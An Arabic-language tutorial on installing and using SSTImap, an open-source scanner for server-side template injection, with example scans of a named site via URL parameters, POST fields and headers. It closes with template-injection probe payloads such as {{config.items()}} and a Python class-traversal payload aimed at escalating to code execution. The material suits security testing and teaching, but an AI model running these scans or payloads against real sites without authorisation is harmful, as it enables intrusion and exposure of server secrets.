ماهي SSTImap؟
هي أداة مفتوحة المصدر بلغة Python، مصممة لفحص المواقع الي تستخدم محركات القوالب (Templating Engines) من جانب السيرفر، مثل:
- Jinja2
- Twig
- Smarty
- Django Templates
- Tornado
- وغيرها...
الأداة ترسل payloads مختلفة تشبه حقنات SSTI وتنتظر الرد من السيرفر حتى تعرف إذا كان قابل للحقن لو لا.
طريقة التثبيت:
أول شي، تحتاج تثبّت الأدوات الأساسية:
sudo apt update
sudo apt install git python3 python3-pip -y
بعدين، كل الي تحتاجه هو:
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip3 install -r requirements.txt

طريقة الاستخدام:
python3 sstimap.py -u "https://cyberr.iq/core?name=FUZZ"
بهذا المثال، الأداة راح تجرّب مجموعة من الـ payloads بمكان كلمة FUZZ
وتشوف إذا الموقع يستجيب بطريقة تدل على وجود ثغرة.

استخدام مع POST request:
python3 sstimap.py -u "https://cyberr.iq/auth" -X POST -d "username=FUZZ&password=123"
تريد تفحص إذا حقل الـ username
يقبل حقن SSTI؟ خليه مكان FUZZ
، والأداة راح تتكفّل بالباقي.
استخدام مع Header:
python3 SSTImap.py -u "https://cyberr.iq" --headers "X-User-Agent: FUZZ"
الأداة تكدر تجرب حتى بالهيدرز، مو بس بالـ URL أو الـ body، وهي فائدة جبيرة للمواقع الي تتعامل ويه الـ headers بشكل داخلي.
أهم الخصائص والمميزات:
- دعم شامل لمحركات القوالب
يكتشف محركات مثل Jinja2, Twig, Django، وغيرها من خلال ردود السيرفر. - ذكاء بالتعامل مع الردود
الأداة ما تعتمد فقط على كلمات ثابتة، تكدر تكتشف الاختلافات بالتنفيذ وتستنتج وجود الحقن. - سهولة تخصيص الطلبات
تدعمGET
,POST
, تخصيص Headers، Cookies، وحتى الـ data بشكل كامل. - سريع وخفيف
مكتوب بلغة Python وفعّال حتى مع التطبيقات الثقيلة. - نتائج مرتبة
تعرضلك إذا كان المكان مصاب، وشنو نوع المحرك الي تشتغل عليه.
إذا اكتشفت SSTI، شنو أسوي؟
- استخرج نوع محرك القالب.
- جرب تنفذ أوامر مثل:
{{7*7}}
,{{config.items()}}
, أو{{self}}
. - إذا حصلت تنفيذ أوامر، استخدم Python payloads متقدمة مثل:
{{''.__class__.__mro__[1].__subclasses__()}}